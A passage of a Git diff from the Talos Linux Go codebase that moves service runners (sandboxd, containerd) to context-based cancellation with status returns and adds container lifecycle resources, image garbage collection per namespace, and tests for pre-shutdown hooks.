&metal.Metal{} + state.platform = metalPlatform + state.machine.platform = metalPlatform + + rt := NewRuntime( + state, + NewEvents(1000, 10), + logging.NewCircularBufferLoggingManager(log.New(t.Output(), "fallback logger: ", log.Flags())), + ) + sequencer := NewSequencer() + + for _, tt := range []struct { + name string + phases []runtime.Phase + expected bool + }{ + { + name: "reboot", + phases: sequencer.Reboot(rt, &machineapi.RebootRequest{}), + expected: true, + }, + { + name: "reset", + phases: sequencer.Reset(rt, resetOptions{}), + expected: true, + }, + { + name: "shutdown", + phases: sequencer.Shutdown(rt, &machineapi.ShutdownRequest{}), + expected: true, + }, + { + name: "stage upgrade", + phases: sequencer.StageUpgrade(rt, &machineapi.UpgradeRequest{}), + expected: true, + }, + { + name: "upgrade", + phases: sequencer.Upgrade(rt, &machineapi.UpgradeRequest{}), + expected: true, + }, + { + name: "forced reboot", + phases: sequencer.Reboot(rt, &machineapi.RebootRequest{ + Mode: machineapi.RebootRequest_FORCE, + }), + }, + { + name: "maintenance upgrade", + phases: sequencer.MaintenanceUpgrade(rt, &machineapi.UpgradeRequest{}), + }, + { + name: "emergency cleanup", + phases: sequencer.EmergencyVolumeCleanup(rt), + }, + } { + t.Run(tt.name, func(t *testing.T) { + names := make([]string, 0, len(tt.phases)) + for _, phase := range tt.phases { + names = append(names, phase.Name) + } + + preShutdown := slices.Index(names, "preShutdown") + if !tt.expected { + assert.Equal(t, -1, preShutdown) + + return + } + + require.NotEqual(t, -1, preShutdown) + require.Less(t, preShutdown+1, len(names)) + assert.Equal(t, "dbus", names[preShutdown+1]) + }) + } +} + func TestPhaseList_Append(t *testing.T) { t.Skip("temporarily disabling until reflect.DeepEqual responds as expected") diff --git a/internal/app/machined/pkg/runtime/v1alpha2/v1alpha2_controller.go b/internal/app/machined/pkg/runtime/v1alpha2/v1alpha2_controller.go index baa2ccc55cf..b63152e4238 100644 --- a/internal/app/machined/pkg/runtime/v1alpha2/v1alpha2_controller.go +++ b/internal/app/machined/pkg/runtime/v1alpha2/v1alpha2_controller.go @@ -256,9 +256,15 @@ func (ctrl *Controller) Run(ctx context.Context, drainer *runtime.Drainer) error &containerctrls.ImageController{ State: ctrl.v1alpha1Runtime.State().V1Alpha2().Resources(), }, + &containerctrls.MountController{}, + &containerctrls.InstanceController{}, + &containerctrls.RuntimeController{ + Runtime: ctrl.v1alpha1Runtime, + }, &cri.CustomizationConfigController{}, - cri.NewImageGCController("containerd", false), - cri.NewImageGCController("cri", true), + cri.NewImageGCController("containerd", constants.SystemContainerdNamespace, nil), + cri.NewImageGCController("cri", constants.SystemContainerdNamespace, cri.KubernetesRefsToRetain), + cri.NewImageGCController("cri", constants.TalosContainersContainerdNamespace, cri.TalosContainersRefsToRetain), &cri.RegistriesConfigController{}, &cri.ServiceController{ V1Alpha1Services: system.Services(ctrl.v1alpha1Runtime), @@ -746,7 +752,6 @@ func (ctrl *Controller) MakeLogger(serviceName string) (*zap.Logger, error) { return logging.ZapLogger( logging.NewLogDestination( logWriter, zapcore.DebugLevel, - logging.WithColoredLevels(), ), logging.NewLogDestination( logging.StdWriter, ctrl.consoleLogLevel, diff --git a/internal/app/machined/pkg/runtime/v1alpha2/v1alpha2_state.go b/internal/app/machined/pkg/runtime/v1alpha2/v1alpha2_state.go index 1cb89837200..2009dbe8757 100644 --- a/internal/app/machined/pkg/runtime/v1alpha2/v1alpha2_state.go +++ b/internal/app/machined/pkg/runtime/v1alpha2/v1alpha2_state.go @@ -122,6 +122,10 @@ func NewState() (*State, error) { &block.ZswapStatus{}, &containers.ContainerSpec{}, &containers.ContainerImageStatus{}, + &containers.ContainerMountStatus{}, + &containers.ContainerInstanceSpec{}, + &containers.ContainerInstanceStatus{}, + &containers.ContainerLifecycle{}, &block.FSScrubSchedule{}, &block.FSScrubStatus{}, &cluster.Affiliate{}, diff --git a/internal/app/machined/pkg/sandboxd/runner.go b/internal/app/machined/pkg/sandboxd/runner.go index e22cf280f38..d72292dc3fb 100644 --- a/internal/app/machined/pkg/sandboxd/runner.go +++ b/internal/app/machined/pkg/sandboxd/runner.go @@ -5,6 +5,7 @@ package sandboxd import ( + "context" "fmt" "io" "os" @@ -16,7 +17,6 @@ import ( "github.com/siderolabs/talos/internal/app/machined/pkg/runtime" "github.com/siderolabs/talos/internal/app/machined/pkg/system/events" - "github.com/siderolabs/talos/internal/app/machined/pkg/system/pid" "github.com/siderolabs/talos/internal/app/machined/pkg/system/runner" "github.com/siderolabs/talos/internal/pkg/cgroup" "github.com/siderolabs/talos/internal/pkg/selinux" @@ -39,17 +39,12 @@ const ServiceID = "sandboxd" // into the new namespace via the per-launch launcher getter. type sandboxRunner struct { rt runtime.Runtime - - stop chan struct{} - stopped chan struct{} } // NewRunner returns a runner.Runner managing the sandboxd lifecycle. func NewRunner(rt runtime.Runtime) runner.Runner { return &sandboxRunner{ - rt: rt, - stop: make(chan struct{}), - stopped: make(chan struct{}), + rt: rt, } } @@ -62,27 +57,18 @@ func (s *sandboxRunner) Close() error { return nil } // String implements runner.Runner. func (s *sandboxRunner) String() string { return "Process(\"sandboxd\")" } -// Stop implements runner.Runner. -func (s *sandboxRunner) Stop() error { - close(s.stop) - - <-s.stopped - - s.stop = make(chan struct{}) - s.stopped = make(chan struct{}) - - return nil -} - // Run implements runner.Runner. // +// sandboxd is a host process whose exit code is not recovered, so how it ended is carried by the +// error rather than by Status.ExitCode. +// //nolint:gocyclo -func (s *sandboxRunner) Run(eventSink events.Recorder, pidRecorder pid.Recorder) error { - defer close(s.stopped) +func (s *sandboxRunner) Run(ctx context.Context, eventSink events.Recorder, onStart runner.OnStart) (runner.Status, error) { + var status runner.Status cg, err := cgroup.CreateCgroup(constants.CgroupSystemSandbox) if err != nil { - return fmt.Errorf("error creating cgroup: %w", err) + return status, fmt.Errorf("error creating cgroup: %w", err) } defer func() { @@ -94,14 +80,14 @@ func (s *sandboxRunner) Run(eventSink events.Recorder, pidRecorder pid.Recorder) cgFile, err := os.Open(filepath.Join(constants.CgroupMountPath, cgroup.Path(constants.CgroupSystemSandbox))) if err != nil { - return fmt.Errorf("error opening cgroup file: %w", err) + return status, fmt.Errorf("error opening cgroup file: %w", err) } defer cgFile.Close() //nolint:errcheck readyR, readyW, err := os.Pipe() if err != nil { - return fmt.Errorf("creating ready pipe: %w", err) + return status, fmt.Errorf("creating ready pipe: %w", err) } defer readyR.Close() //nolint:errcheck @@ -109,7 +95,7 @@ func (s *sandboxRunner) Run(eventSink events.Recorder, pidRecorder pid.Recorder) // sandboxd's stdin (/dev/null); it never reads stdin. devNull, err := os.Open(os.DevNull) if err != nil { - return fmt.Errorf("opening /dev/null: %w", err) + return status, fmt.Errorf("opening /dev/null: %w", err) } defer devNull.Close() //nolint:errcheck @@ -119,14 +105,14 @@ func (s *sandboxRunner) Run(eventSink events.Recorder, pidRecorder pid.Recorder) // machined reads logR; sandboxd writes logW (its fds 1 and 2). logSink, err := s.rt.Logging().ServiceLog(ServiceID).Writer() if err != nil { - return fmt.Errorf("creating sandboxd log writer: %w", err) + return status, fmt.Errorf("creating sandboxd log writer: %w", err) } logR, logW, err := os.Pipe() if err != nil { logSink.Close() //nolint:errcheck - return fmt.Errorf("creating log pipe: %w", err) + return status, fmt.Errorf("creating log pipe: %w", err) } defer logW.Close() //nolint:errcheck // child owns its copy after launch @@ -144,7 +130,7 @@ func (s *sandboxRunner) Run(eventSink events.Recorder, pidRecorder pid.Recorder) // and the launch can fail — controlInit then needs only its post-launch close. controlFds, err := syscall.Socketpair(syscall.AF_UNIX, syscall.SOCK_SEQPACKET|syscall.SOCK_CLOEXEC, 0) if err != nil { - return fmt.Errorf("creating control socketpair: %w", err) + return status, fmt.Errorf("creating control socketpair: %w", err) } controlMachined := os.NewFile(uintptr(controlFds[0]), "control-machined") @@ -184,13 +170,13 @@ func (s *sandboxRunner) Run(eventSink events.Recorder, pidRecorder pid.Recorder) controlInit.Close() //nolint:errcheck if err != nil { - return fmt.Errorf("launching sandboxd: %w", err) + return status, fmt.Errorf("launching sandboxd: %w", err) } // os.FindProcess never fails on Linux (returns a process handle for any pid). process, err := os.FindProcess(pid) if err != nil { - return fmt.Errorf("finding process for PID %d: %w", pid, err) + return status, fmt.Errorf("finding process for PID %d: %w", pid, err) } waitCh := make(chan error, 1) @@ -206,7 +192,7 @@ func (s *sandboxRunner) Run(eventSink events.Recorder, pidRecorder pid.Recorder) process.Kill() //nolint:errcheck <-waitCh - return fmt.Errorf("sandboxd failed to start: %w", rerr) + return status, fmt.Errorf("sandboxd failed to start: %w", rerr) } controlConn, err := unixConn(controlMachined) @@ -214,7 +200,7 @@ func (s *sandboxRunner) Run(eventSink events.Recorder, pidRecorder pid.Recorder) process.Kill() //nolint:errcheck <-waitCh - return fmt.Errorf("wrapping control socket: %w", err) + return status, fmt.Errorf("wrapping control socket: %w", err) } client := &Client{control: controlConn} @@ -228,16 +214,12 @@ func (s *sandboxRunner) Run(eventSink events.Recorder, pidRecorder pid.Recorder) client.close() } - if err := pidRecorder(ServiceID, int32(process.Pid), false); err != nil { - process.Kill() //nolint:errcheck - <-waitCh - teardown() + status.Started = true - return fmt.Errorf("recording pid: %w", err) + if onStart != nil { + onStart(int32(process.Pid)) //nolint:gosec } - defer pidRecorder(ServiceID, int32(process.Pid), true) //nolint:errcheck - eventSink(events.StateRunning, "sandboxd started with PID %d", process.Pid) select { @@ -252,8 +234,8 @@ func (s *sandboxRunner) Run(eventSink events.Recorder, pidRecorder pid.Recorder) werr = fmt.Errorf("exited") } - return fmt.Errorf("sandboxd exited, namespace lost: %w", werr) - case <-s.stop: + return status, fmt.Errorf("sandboxd exited, namespace lost: %w", werr) + case <-ctx.Done(): // sandboxd ignores SIGTERM (it is PID 1 of its namespace); SIGKILL it from // the parent namespace, which the kernel then turns into teardown of the // whole namespace. @@ -263,7 +245,7 @@ func (s *sandboxRunner) Run(eventSink events.Recorder, pidRecorder pid.Recorder) <-waitCh teardown() - return nil + return status, nil } } diff --git a/internal/app/machined/pkg/startup/cgroups.go b/internal/app/machined/pkg/startup/cgroups.go index 26a5b6de4be..8d566f6f98e 100644 --- a/internal/app/machined/pkg/startup/cgroups.go +++ b/internal/app/machined/pkg/startup/cgroups.go @@ -40,6 +40,7 @@ func CreateSystemCgroups(ctx context.Context, log *zap.Logger, rt runtime.Runtim constants.CgroupSystem, constants.CgroupPodRuntimeRoot, constants.CgroupPodRuntimeShim, + constants.CgroupTalosContainersRoot, } for _, c := range groups { @@ -55,6 +56,7 @@ func CreateSystemCgroups(ctx context.Context, log *zap.Logger, rt runtime.Runtim constants.CgroupKubepods, constants.CgroupPodRuntimeRoot, constants.CgroupSystem, + constants.CgroupTalosContainersRoot, } for _, c := range groupsToCleanup { diff --git a/internal/app/machined/pkg/startup/startup.go b/internal/app/machined/pkg/startup/startup.go index 27908882c0b..975b1596a80 100644 --- a/internal/app/machined/pkg/startup/startup.go +++ b/internal/app/machined/pkg/startup/startup.go @@ -41,6 +41,7 @@ func DefaultTasks() []Task { MountPseudoLate, SetupSystemDirectories, InitVolumeLifecycle, + InitContainerLifecycle, MountCgroups, SetRLimit, SetEnvironmentVariables, diff --git a/internal/app/machined/pkg/startup/tasks.go b/internal/app/machined/pkg/startup/tasks.go index cfb307b32ab..defc2ae6535 100644 --- a/internal/app/machined/pkg/startup/tasks.go +++ b/internal/app/machined/pkg/startup/tasks.go @@ -23,6 +23,7 @@ import ( "github.com/siderolabs/talos/pkg/machinery/constants" "github.com/siderolabs/talos/pkg/machinery/fipsmode" "github.com/siderolabs/talos/pkg/machinery/resources/block" + "github.com/siderolabs/talos/pkg/machinery/resources/containers" ) // LogMode prints the current mode. @@ -70,6 +71,15 @@ func InitVolumeLifecycle(ctx context.Context, log *zap.Logger, rt runtime.Runtim return next()(ctx, log, rt, next) } +// InitContainerLifecycle initializes the container shutdown barrier resource. +func InitContainerLifecycle(ctx context.Context, log *zap.Logger, rt runtime.Runtime, next NextTaskFunc) error { + if err := rt.State().V1Alpha2().Resources().Create(ctx, containers.NewContainerLifecycle(containers.NamespaceName, containers.ContainerLifecycleID)); err != nil { + return fmt.Errorf("initContainerLifecycle: %w", err) + } + + return next()(ctx, log, rt, next) +} + // MountCgroups represents mounts the cgroupfs (only in !container). func MountCgroups(ctx context.Context, log *zap.Logger, rt runtime.Runtime, next NextTaskFunc) error { if rt.State().Platform().Mode().InContainer() { diff --git a/internal/app/machined/pkg/system/integration_test.go b/internal/app/machined/pkg/system/integration_test.go index 0ea2f30797f..0b13ebfe700 100644 --- a/internal/app/machined/pkg/system/integration_test.go +++ b/internal/app/machined/pkg/system/integration_test.go @@ -6,10 +6,14 @@ package system_test import ( "context" + "errors" "io" + "sync" + "sync/atomic" "testing" "time" + "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "github.com/siderolabs/talos/internal/app/machined/pkg/runtime" @@ -74,6 +78,98 @@ func (TestService) Volumes(runtime.Runtime) []string { return nil } +type preShutdownTestService struct { + TestService + + id string + started chan struct{} + running atomic.Bool + hook func() error +} + +func (service *preShutdownTestService) ID(runtime.Runtime) string { + return service.id +} + +func (service *preShutdownTestService) Runner(r runtime.Runtime) (runner.Runner, error) { + return goroutine.NewRunner(r, service.id, func(ctx context.Context, _ runtime.Runtime, _ io.Writer) error { + service.running.Store(true) + + close(service.started) + defer service.running.Store(false) + + <-ctx.Done() + + return nil + }), nil +} + +func (service *preShutdownTestService) Condition(runtime.Runtime) conditions.Condition { + return nil +} + +func (service *preShutdownTestService) PreShutdownFunc(context.Context, runtime.Runtime) error { + if !service.running.Load() { + return errors.New("main service stopped before pre-shutdown hook") + } + + return service.hook() +} + +func TestPreShutdownServices(t *testing.T) { + ctx := t.Context() + services := system.NewServices(newRuntime(t)) + + var ( + mu sync.Mutex + calls []string + ) + + record := func(id string, err error) func() error { + return func() error { + mu.Lock() + defer mu.Unlock() + + calls = append(calls, id) + + return err + } + } + + serviceA := &preShutdownTestService{id: "a", started: make(chan struct{}), hook: record("a", errors.New("a failed"))} + serviceZ := &preShutdownTestService{id: "z", started: make(chan struct{}), hook: record("z", nil)} + + services.Load(serviceZ, serviceA) + require.NoError(t, services.Start("z", "a")) + require.NoError(t, system.WaitForServiceWithInstance(services, system.StateEventUp, "z").Wait(ctx)) + require.NoError(t, system.WaitForServiceWithInstance(services, system.StateEventUp, "a").Wait(ctx)) + + for _, service := range []*preShutdownTestService{serviceA, serviceZ} { + select { + case <-service.started: + case <-ctx.Done(): + t.Fatal("service did not start before test context expired") + } + } + + err := services.PreShutdown(ctx) + require.ErrorContains(t, err, `service "a" pre-shutdown hook failed: a failed`) + assert.Equal(t, []string{"a", "z"}, calls) + assert.True(t, serviceA.running.Load()) + assert.True(t, serviceZ.running.Load()) + + require.Error(t, services.PreShutdown(ctx)) + assert.Equal(t, []string{"a", "z", "a", "z"}, calls, "hooks should be retryable") + + require.NoError(t, services.Stop(ctx, "a")) + assert.Equal(t, []string{"a", "z", "a", "z"}, calls, "service stop must not run node-shutdown hooks") + + require.NoError(t, services.PreShutdown(ctx)) + assert.Equal(t, []string{"a", "z", "a", "z", "z"}, calls, "stopped services must be skipped") + + services.Shutdown(ctx) +} + func TestRestartService(t *testing.T) { deadline, ok := t.Deadline() if !ok { diff --git a/internal/app/machined/pkg/system/mocks_test.go b/internal/app/machined/pkg/system/mocks_test.go index d3c4f4a444f..4d545502440 100644 --- a/internal/app/machined/pkg/system/mocks_test.go +++ b/internal/app/machined/pkg/system/mocks_test.go @@ -13,7 +13,6 @@ import ( "github.com/siderolabs/talos/internal/app/machined/pkg/runtime" "github.com/siderolabs/talos/internal/app/machined/pkg/system/events" "github.com/siderolabs/talos/internal/app/machined/pkg/system/health" - "github.com/siderolabs/talos/internal/app/machined/pkg/system/pid" "github.com/siderolabs/talos/internal/app/machined/pkg/system/runner" "github.com/siderolabs/talos/pkg/conditions" ) @@ -113,16 +112,17 @@ func (m *MockRunner) Close() error { return nil } -func (m *MockRunner) Run(eventSink events.Recorder, _ pid.Recorder) error { +func (m *MockRunner) Run(ctx context.Context, eventSink events.Recorder, _ runner.OnStart) (runner.Status, error) { eventSink(events.StateRunning, "Running") - return <-m.exitCh -} - -func (m *MockRunner) Stop() error { - close(m.exitCh) + status := runner.Status{Started: true} - return nil + select { + case err := <-m.exitCh: + return status, err + case <-ctx.Done(): + return status, nil + } } func (m *MockRunner) String() string { @@ -141,12 +141,8 @@ func (MockFinishingRunner) Close() error { return nil } -func (MockFinishingRunner) Run(events.Recorder, pid.Recorder) error { - return nil -} - -func (MockFinishingRunner) Stop() error { - return nil +func (MockFinishingRunner) Run(context.Context, events.Recorder, runner.OnStart) (runner.Status, error) { + return runner.Status{Started: true}, nil } func (MockFinishingRunner) String() string { diff --git a/internal/app/machined/pkg/system/runner/containerd/containerd.go b/internal/app/machined/pkg/system/runner/containerd/containerd.go index 5089c3192c8..c62c23905d0 100644 --- a/internal/app/machined/pkg/system/runner/containerd/containerd.go +++ b/internal/app/machined/pkg/system/runner/containerd/containerd.go @@ -25,7 +25,6 @@ import ( "google.golang.org/grpc/status" "github.com/siderolabs/talos/internal/app/machined/pkg/system/events" - "github.com/siderolabs/talos/internal/app/machined/pkg/system/pid" "github.com/siderolabs/talos/internal/app/machined/pkg/system/runner" "github.com/siderolabs/talos/internal/app/machined/pkg/system/runner/internal/lastlog" "github.com/siderolabs/talos/internal/pkg/cgroup" @@ -39,16 +38,18 @@ type containerdRunner struct { opts *runner.Options logToConsole bool - stop chan struct{} - stopped chan struct{} - client *containerd.Client ctx context.Context //nolint:containedctx container containerd.Container stdinCloser *StdinCloser } -const taskWaitRetryInterval = time.Second +const ( + taskWaitRetryInterval = time.Second + + // killWaitTimeout bounds the wait for a task to be reaped after SIGKILL. + killWaitTimeout = 30 * time.Second +) var errTaskWaitClosed = errors.New("task wait stream closed without an exit status") @@ -58,8 +59,6 @@ func NewRunner(logToConsole bool, args *runner.Args, setters ...runner.Option) r args: args, opts: runner.DefaultOptions(), logToConsole: logToConsole, - stop: make(chan struct{}), - stopped: make(chan struct{}), } for _, setter := range setters { @@ -81,6 +80,18 @@ func (c *containerdRunner) Open() error { return err } + // Callers do not Close a runner whose Open failed, so anything that fails past this point has to + // release the client itself or it leaks along with its gRPC connection. + opened := false + + defer func() { + if !opened { + c.client.Close() //nolint:errcheck + + c.client = nil + } + }() + var image containerd.Image if c.opts.ContainerImage != "" { @@ -116,35 +127,47 @@ func (c *containerdRunner) Open() error { return fmt.Errorf("failed to create container %q: %w", c.args.ID, err) } + opened = true + return nil } // Close implements runner.Runner interface. +// +// The client is closed whatever happens to the container: a task that would not die after SIGKILL is +// still holding its container, so deleting it fails, and returning there would leak the client. func (c *containerdRunner) Close() error { + var errs error + if c.container != nil { - err := c.container.Delete(c.ctx, containerd.WithSnapshotCleanup) - if err != nil { - return err + if err := c.container.Delete(c.ctx, containerd.WithSnapshotCleanup); err != nil { + errs = errors.Join(errs, err) } } - if c.client == nil { - return nil + if c.client != nil { + errs = errors.Join(errs, c.client.Close()) } - return c.client.Close() + return errs } -// Run implements runner.Runner interface +// Run implements runner.Runner interface. +// +// Canceling ctx starts the graceful stop; every containerd call keeps using c.ctx, which is not +// derived from it, because the kill and delete have to run after the cancellation rather than be +// canceled by it. +// +// A non-zero exit is reported both ways: in Status.ExitCode, and as an error, because the restart +// policies decide purely on the error and a task that exits non-zero must not read as success. // //nolint:gocyclo,cyclop -func (c *containerdRunner) Run(eventSink events.Recorder, pidRecorder pid.Recorder) error { - defer close(c.stopped) - +func (c *containerdRunner) Run(ctx context.Context, eventSink events.Recorder, onStart runner.OnStart) (runner.Status, error) { var ( - task containerd.Task - logW io.WriteCloser - err error + task containerd.Task + logW io.WriteCloser + status runner.Status + err error ) // attempt to clean up a task if it already exists @@ -154,33 +177,38 @@ func (c *containerdRunner) Run(eventSink events.Recorder, pidRecorder pid.Record s, err = task.Wait(c.ctx) if err != nil { - return fmt.Errorf("failed to wait for the task %q: %w", c.args.ID, err) + return status, fmt.Errorf("failed to wait for the task %q: %w", c.args.ID, err) } err = task.Kill(c.ctx, syscall.SIGKILL, containerd.WithKillAll) if err != nil && !errdefs.IsNotFound(err) { - return fmt.Errorf("failed to kill the task %q: %w", c.args.ID, err) + return status, fmt.Errorf("failed to kill the task %q: %w", c.args.ID, err) } select { case <-s: - case <-c.stop: - return nil + case <-ctx.Done(): + return status, nil } if _, err = task.Delete(c.ctx); err != nil { - return fmt.Errorf("failed to clean up task %q: %w", c.args.ID, err) + return status, fmt.Errorf("failed to clean up task %q: %w", c.args.ID, err) } } - logW, err = c.opts.LoggingManager.ServiceLog(c.args.ID).Writer() + logID := c.opts.LogID + if logID == "" { + logID = c.args.ID + } + + logW, err = c.opts.LoggingManager.ServiceLog(logID).Writer() if err != nil { - return fmt.Errorf("error creating log: %w", err) + return status, fmt.Errorf("error creating log: %w", err) } - cg, err := cgroup.CreateCgroup(c.opts.CgroupPath) + cg, err := c.createCgroup() if err != nil { - return fmt.Errorf("error creating cgroup: %w", err) + return status, fmt.Errorf("error creating cgroup: %w", err) } // If the task is not cleaned up by containerd or another error @@ -206,7 +234,7 @@ func (c *containerdRunner) Run(eventSink events.Recorder, pidRecorder pid.Record r, err := c.StdinReader() if err != nil { - return fmt.Errorf("failed to create stdin reader: %w", err) + return status, fmt.Errorf("failed to create stdin reader: %w", err) } creator := cio.NewCreator(cio.WithStreams(r, w, w)) @@ -214,7 +242,7 @@ func (c *containerdRunner) Run(eventSink events.Recorder, pidRecorder pid.Record // Create the task and start it. task, err = c.container.NewTask(c.ctx, creator) if err != nil { - return fmt.Errorf("failed to create task: %q: %w", c.args.ID, err) + return status, fmt.Errorf("failed to create task: %q: %w", c.args.ID, err) } if r != nil { @@ -225,20 +253,16 @@ func (c *containerdRunner) Run(eventSink events.Recorder, pidRecorder pid.Record defer task.Delete(c.ctx) //nolint:errcheck if err = task.Start(c.ctx); err != nil { - return fmt.Errorf("failed to start task: %q: %w", c.args.ID, err) + return status, fmt.Errorf("failed to start task: %q: %w", c.args.ID, err) } eventSink(events.StateRunning, "Started task %s (PID %d) for container %s", task.ID(), task.Pid(), c.container.ID()) - if err := pidRecorder(c.args.ID, int32(task.Pid()), false); err != nil { - return fmt.Errorf("failed to record pid for task %q: %w", c.args.ID, err) - } + status.Started = true - defer func() { - if err := pidRecorder(c.args.ID, int32(task.Pid()), true); err != nil { - log.Printf("error clearing pid: %v", err) - } - }() + if onStart != nil { + onStart(int32(task.Pid())) //nolint:gosec + } recovering := false @@ -246,37 +270,39 @@ taskWaitLoop: for { statusC, waitErr := task.Wait(c.ctx) if waitErr != nil { - return fmt.Errorf("failed waiting for task %q: %w", c.args.ID, waitErr) + return status, fmt.Errorf("failed waiting for task %q: %w", c.args.ID, waitErr) } select { - case status, ok := <-statusC: - retry, statusErr := retryTaskWait(status, ok) + case taskStatus, ok := <-statusC: + retry, statusErr := retryTaskWait(taskStatus, ok) if statusErr != nil { - return fmt.Errorf("failed waiting for task %q: %w", c.args.ID, statusErr) + return status, fmt.Errorf("failed waiting for task %q: %w", c.args.ID, statusErr) } if !retry { - code := status.ExitCode() + code := taskStatus.ExitCode() + status.ExitCode = int(code) //nolint:gosec + if code != 0 { - return fmt.Errorf("task %q failed: exit code %d (last log %q)", c.args.ID, code, lastLog.GetLastLog()) + return status, fmt.Errorf("task %q failed: exit code %d (last log %q)", c.args.ID, code, lastLog.GetLastLog()) } - return nil + return status, nil } if !recovering { - log.Printf("task wait stream interrupted, waiting for containerd: %v", status.Error()) + log.Printf("task wait stream interrupted, waiting for containerd: %v", taskStatus.Error()) } recovering = true select { - case <-c.stop: + case <-ctx.Done(): break taskWaitLoop case <-time.After(taskWaitRetryInterval): } - case <-c.stop: + case <-ctx.Done(): break taskWaitLoop } } @@ -291,18 +317,18 @@ taskWaitLoop: ) if err = task.Kill(c.ctx, syscall.SIGTERM, containerd.WithKillAll); err != nil { - return fmt.Errorf("error sending SIGTERM: %w", err) + return status, fmt.Errorf("error sending SIGTERM: %w", err) } statusC, err := task.Wait(c.ctx) if err != nil { - return fmt.Errorf("failed waiting for task after SIGTERM: %w", err) + return status, fmt.Errorf("failed waiting for task after SIGTERM: %w", err) } select { case <-statusC: // stopped process exited - return nil + return status, nil case <-time.After(c.opts.GracefulShutdownTimeout): // kill the process eventSink( @@ -314,13 +340,19 @@ taskWaitLoop: ) if err = task.Kill(c.ctx, syscall.SIGKILL, containerd.WithKillAll); err != nil { - return fmt.Errorf("error sending SIGKILL: %w", err) + return status, fmt.Errorf("error sending SIGKILL: %w", err) } } - <-statusC + // Bounded, because SIGKILL is not the end of every story: a task stuck in uninterruptible sleep + // never reaps, and waiting for it forever would hold up whatever is driving the stop. + select { + case <-statusC: + case <-time.After(killWaitTimeout): + return status, fmt.Errorf("task %q did not exit after SIGKILL", c.args.ID) + } - return logW.Close() + return status, logW.Close() } func retryTaskWait(status containerd.ExitStatus, ok bool) (bool, error) { @@ -343,16 +375,13 @@ func isContainerdUnavailable(err error) bool { return errdefs.IsUnavailable(err) || status.Code(err) == codes.Unavailable } -// Stop implements runner.Runner interface. -func (c *containerdRunner) Stop() error { - close(c.stop) - - <-c.stopped - - c.stop = make(chan struct{}) - c.stopped = make(chan struct{}) +// createCgroup creates the cgroup for the task, with caller-supplied limits when there are any. +func (c *containerdRunner) createCgroup() (cgroup.CommonCgroup, error) { + if c.opts.CgroupResources != nil { + return cgroup.CreateCgroupWithResources(c.opts.CgroupPath, c.opts.CgroupResources) + } - return nil + return cgroup.CreateCgroup(c.opts.CgroupPath) } func (c *containerdRunner) newContainerOpts( @@ -396,11 +425,16 @@ func (c *containerdRunner) newOCISpecOpts(image oci.Image) []oci.SpecOpts { specOpts, oci.WithProcessArgs(c.args.ProcessArgs...), oci.WithEnv(c.opts.Env), - oci.WithHostHostsFile, - oci.WithHostResolvconf, oci.WithNoNewPrivileges, ) + if c.opts.HostNetworkFiles { + specOpts = append(specOpts, + oci.WithHostHostsFile, + oci.WithHostResolvconf, + ) + } + if c.opts.OOMScoreAdj != 0 { specOpts = append( specOpts, diff --git a/internal/app/machined/pkg/system/runner/containerd/containerd_test.go b/internal/app/machined/pkg/system/runner/containerd/containerd_test.go index 822fdb7fe18..62f19aa7195 100644 --- a/internal/app/machined/pkg/system/runner/containerd/containerd_test.go +++ b/internal/app/machined/pkg/system/runner/containerd/containerd_test.go @@ -41,14 +41,15 @@ const ( busyboxImage = "docker.io/library/busybox:latest" ) -func MockEventSink(state events.ServiceState, message string, args ...any) { - log.Printf("state %s: %s", state, fmt.Sprintf(message, args...)) -} +// assertRunSucceeds runs the runner to completion and asserts it ended cleanly. +func (suite *ContainerdSuite) assertRunSucceeds(r runner.Runner) { + _, err := r.Run(context.Background(), MockEventSink, nil) -func MockPidRecorder(id string, pid int32, clearEntry bool) error { - log.Printf("recording pid for %s: %d (clear: %v)", id, pid, clearEntry) + suite.Assert().NoError(err) +} - return nil +func MockEventSink(state events.ServiceState, message string, args ...any) { + log.Printf("state %s: %s", state, fmt.Sprintf(message, args...)) } type ContainerdSuite struct { @@ -60,6 +61,8 @@ type ContainerdSuite struct { containerdNamespace string containerdRunner runner.Runner + runnerCtx context.Context //nolint:containedctx + runnerCancel context.CancelFunc containerdWg sync.WaitGroup containerdAddress string @@ -119,6 +122,8 @@ func (suite *ContainerdSuite) SetupSuite() { }, } + suite.runnerCtx, suite.runnerCancel = context.WithCancel(context.Background()) + suite.containerdRunner = process.NewRunner( false, args, @@ -131,7 +136,7 @@ func (suite *ContainerdSuite) SetupSuite() { suite.containerdWg.Go(func() { defer suite.containerdRunner.Close() //nolint:errcheck - suite.containerdRunner.Run(MockEventSink, MockPidRecorder) //nolint:errcheck + suite.containerdRunner.Run(suite.runnerCtx, MockEventSink, nil) //nolint:errcheck }) suite.client, err = containerd.New(suite.containerdAddress) @@ -153,7 +158,7 @@ func (suite *ContainerdSuite) SetupTest() { func (suite *ContainerdSuite) TearDownSuite() { suite.Require().NoError(suite.client.Close()) - suite.Require().NoError(suite.containerdRunner.Stop()) + suite.runnerCancel() suite.containerdWg.Wait() } @@ -186,9 +191,7 @@ func (suite *ContainerdSuite) TestRunSuccess() { defer func() { suite.Assert().NoError(r.Close()) }() - suite.Assert().NoError(r.Run(MockEventSink, MockPidRecorder)) - // calling stop when Run has finished is no-op - suite.Assert().NoError(r.Stop()) + suite.assertRunSucceeds(r) } func (suite *ContainerdSuite) TestRunTwice() { @@ -210,9 +213,7 @@ func (suite *ContainerdSuite) TestRunTwice() { // running same container twice should be fine // (checks that containerd state is cleaned up properly) for i := range 2 { - suite.Assert().NoError(r.Run(MockEventSink, MockPidRecorder)) - // calling stop when Run has finished is no-op - suite.Assert().NoError(r.Stop()) + suite.assertRunSucceeds(r) if i == 0 { // wait a bit to let containerd clean up the state @@ -254,9 +255,7 @@ func (suite *ContainerdSuite) TestContainerCleanup() { defer func() { suite.Assert().NoError(r2.Close()) }() - suite.Assert().NoError(r2.Run(MockEventSink, MockPidRecorder)) - // calling stop when Run has finished is no-op - suite.Assert().NoError(r2.Stop()) + suite.assertRunSucceeds(r2) } func (suite *ContainerdSuite) TestRunLogs() { @@ -275,7 +274,7 @@ func (suite *ContainerdSuite) TestRunLogs() { defer func() { suite.Assert().NoError(r.Close()) }() - suite.Assert().NoError(r.Run(MockEventSink, MockPidRecorder)) + suite.assertRunSucceeds(r) logFile, err := os.Open(filepath.Join(suite.tmpDir, suite.containerID+".log")) suite.Assert().NoError(err) @@ -321,10 +320,15 @@ func (suite *ContainerdSuite) TestStopFailingAndRestarting() { defer func() { suite.Assert().NoError(r.Close()) }() + runCtx, runCancel := context.WithCancel(context.Background()) + defer runCancel() + done := make(chan error, 1) go func() { - done 